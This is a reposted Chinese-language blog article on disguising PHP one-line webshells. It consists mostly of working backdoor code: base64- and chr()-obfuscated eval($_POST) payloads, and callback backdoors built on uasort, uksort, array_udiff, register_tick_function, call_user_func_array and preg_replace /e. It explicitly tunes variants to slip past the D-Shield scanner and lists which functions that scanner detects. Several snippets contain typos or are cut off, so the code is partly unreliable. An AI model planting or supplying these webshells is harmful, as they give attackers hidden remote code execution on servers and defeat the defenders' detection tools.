一句話木馬簡單變形


木馬變形的方式:

1.字符串拼接(編碼,base64,rot13,chr())

base64編碼案列:
<?php
$__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
$__P_P = "abcdefghijklmnopqrstuvwxyz";
$__X_X = "123456789";
$__O_O= $__X_X[5] . $__X_X_[3] . "_";   //64
$__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4];  //base
$__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4];  //base64_decode encode
$__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11];   //eval
$__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4];   //create
$__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13];   //create function
$__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");');     //create_function("",'eval();')==eval()
@$__D_D($__H_H($__H_H($__C_C)));    //eval('eval($_POST[x]);')
?>


chr()案列:

<?php
$_uU=chr(99) . chr(104) . chr(114);
//echo $_uU;

$_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);
//echo $ cC;

$_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);
//echo $_fF;

$_=$_fF("",$_cC);@$_();
?>


2.create_function(參數,函數體代碼) 創建匿名函數

3.preg_replace(‘/*/e’,phpinfo(),$data)

4.字符位運算(拼接)

5.<script language="php">phpinfo();</script>

6.不死馬

7.gzinflate解壓

8.不同位置傳值


參數回調法:

回調函數:Callback (即call then back 被主函數調用運算后會返回主函數),是指通過函數參數傳遞到其它代碼的,某一塊可執行代碼的引用。

已被D盾查殺的函數:

array_filter()
array_walk()
array_walk_recursive()
array_map()
registregister_shutdown_function();
filter_var()
filter_var_array()
uasort()
uksort()
array_reduce() 可疑(級別2)
array_walk()
array_walk_recursive()


最一般的繞狗、后門思路:

call_user_func('assert', $_REQUEST['pass']);   //直接參數回調,將$_REQUEST['pass']傳入的數據,傳遞給assert函數去執行。

雙參數回調后門:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
?>


e作為傳參參數,使用base64加密過的assert函數,即YXNzZXJ0,pass作為密碼。整個過程是將調用$e函數,執行$arr,也就是用assert進行代碼執行


衍生出來的方法有:

1.換為uksort函數:

<?php $e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);

2.面向對象的方法:

<?php
// way 0 
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
// way 1 
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');
?>

3.array_reduce

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
?>

4.array_udiff

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>

變種array_udiff

<?php
function newsSearch($para0,$para1){
	$evil=$para0;
	$exec=$para1;
	array_udiff($arr=array($evil),$arr1 = array(''),$exec);
}
$exec=base64_decode($_REQUEST['exec']);
newsSearch($_POST['key'],$exec);
?>

5.register_tick_function()

<?php
declare(ticks=1);
register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
?>

6.變種call_user_func_array()

嘗試模仿正常函數調用,定義一個簡單的function:

<?php
function newsSearch($para0){
	$evil=$para0;
	$exec=$_GET['id'];
	call_user_func_array($exec,array($evil));
}
newsSearch($_POST['tid']);
?>

使用D盾查殺。沒過!!變量$exec被解析成了$GET["id"],但$evil沒有被解析,猜測只要將$exec放在newSearch()函數外面用GET方法獲取,就不會被D盾解析,編寫新的shell:

<?php
function newsSearch($para0,$para1){
	$evil=$para0;
	call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec); ?>

同樣使用call_user_func函數,構造shell如下:

<?php
function newsSearch($para0,$para1){
	$evil=$para0;
	call_user_func_array($para1,array($evil));
}
$exec=base64_decode($_GET['id']);
newsSearch($_POST['tid'],$exec); ?>


三參數回調后門

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');
?>

這段代碼的最終效果是回調名字為$e的函數,$arr數組中的$_POST[pass](鍵)作為回調函數的第一個參數,'|.*|e'作為第二個參數。''作為第三個參數。

最常見的preg_replace

preg_replace('|.*|e', '你的命令', '');

其他效果類似的函數:

mb_ereg_replace
preg_filter

sqlite回調后門

如果可以使用PDO的話,可以用sqlite的PDO來執行代碼

<?php
$db = new PDO('sqlite::memory:');
$st = $db->query("SELECT 'phpinfo()'");
$re = $st->frtch
?>

文章摘錄於:https://forum.90sec.com/t/topic/55         https://www.freebuf.com/articles/web/194243.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM